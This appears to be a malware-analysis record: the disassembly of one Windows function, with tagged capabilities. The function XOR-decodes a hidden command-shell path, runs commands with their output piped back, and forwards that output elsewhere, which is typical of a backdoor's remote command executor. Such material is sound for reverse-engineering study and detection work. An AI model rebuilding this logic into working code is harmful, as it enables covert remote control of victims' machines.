Function at 0x402000
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Encode data using xor
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4320
call fcn.0040a500
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x80b]
push ebx
push eax
mov esi, ecx
mov byte [ebp - 0x80c], bl
call fcn.004068f0
push 0x3ff
lea ecx, [ebp - 0x40b]
push ebx
push ecx
mov byte [ebp - 0x40c], bl
call fcn.004068f0
add esp, 0x18
push str.L5Sxfak_xSvjb_Slbk_jwj
lea edx, [ebp - 0x40c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x40c]
cmp byte [ebp - 0x40c], bl
je 0x40207d
mov ecx, eax
xor byte [eax], 0xf
inc ecx
mov eax, ecx
cmp byte [ecx], bl
jne 0x402073
push esi
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x80c]
push str._s__c__s
push ecx
call fcn.00402d48
add esp, 0x10
push 0x40000
lea edx, [ebp - 0x42d0]
push edx
lea eax, [ebp - 0x42a8]
push eax
lea ecx, [ebp - 0x42ac]
push ecx
mov dword [ebp - 0x42d0], 0xc
mov dword [ebp - 0x42cc], ebx
mov dword [ebp - 0x42c8], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
lea edx, [ebp - 0x431c]
push ebx
push edx
call fcn.004068f0
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov dword [ebp - 0x42c0], eax
mov dword [ebp - 0x42bc], eax
mov dword [ebp - 0x42b8], eax
mov dword [ebp - 0x42b4], eax
mov eax, dword [ebp - 0x42a8]
mov dword [ebp - 0x42dc], eax
mov dword [ebp - 0x42e0], eax
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x431c], 0x44
mov dword [ebp - 0x42e4], ebx
mov dword [ebp - 0x42f0], 0x101
mov word [ebp - 0x42ec], ax
xor esi, esi
lea esp, [esp]
lea ecx, [ebp - 0x42c0]
push ecx
lea edx, [ebp - 0x431c]
push edx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0x80c]
push eax
push ebx
call edi
test eax, eax
jne 0x402169
inc esi
cmp esi, 8
jl 0x402140
cmp esi, 8
jne 0x402181
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x42b0], 1
call edi
mov ecx, dword [ebp - 0x42c0]
push 0x2bf20
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x42c0]
lea edx, [ebp - 0x42c4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x402202
cmp dword [ebp - 0x42c4], 0x103
jne 0x402202
mov ecx, dword [ebp - 0x42c0]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x42c0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x42ac]
push eax
call esi
mov ecx, dword [ebp - 0x42a8]
push ecx
call esi
jmp 0x40228a
mov edx, dword [ebp - 0x42c0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x42a8]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x42ac]
push ebx
lea ecx, [ebp - 0x42b0]
push ecx
push 0x1fa0
lea edx, [ebp - 0x42a4]
push edx
push eax
call esi
mov ecx, dword [ebp - 0x42b0]
cmp ecx, ebx
je 0x40227d
cmp eax, ebx
je 0x40227d
mov eax, dword [ebp + 8]
mov byte [ebp + ecx - 0x42a4], bl
lea edx, [ebp - 0x42a4]
push edx
mov edx, dword [0x411d08]
inc ecx
push ecx
push ebx
push eax
mov ecx, 0xa021
call fcn.004012a0
add esp, 0x10
test eax, eax
je 0x40227d
push 0xa
call edi
jmp 0x402220
mov ecx, dword [ebp - 0x42ac]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402d39
mov esp, ebp
pop ebp
ret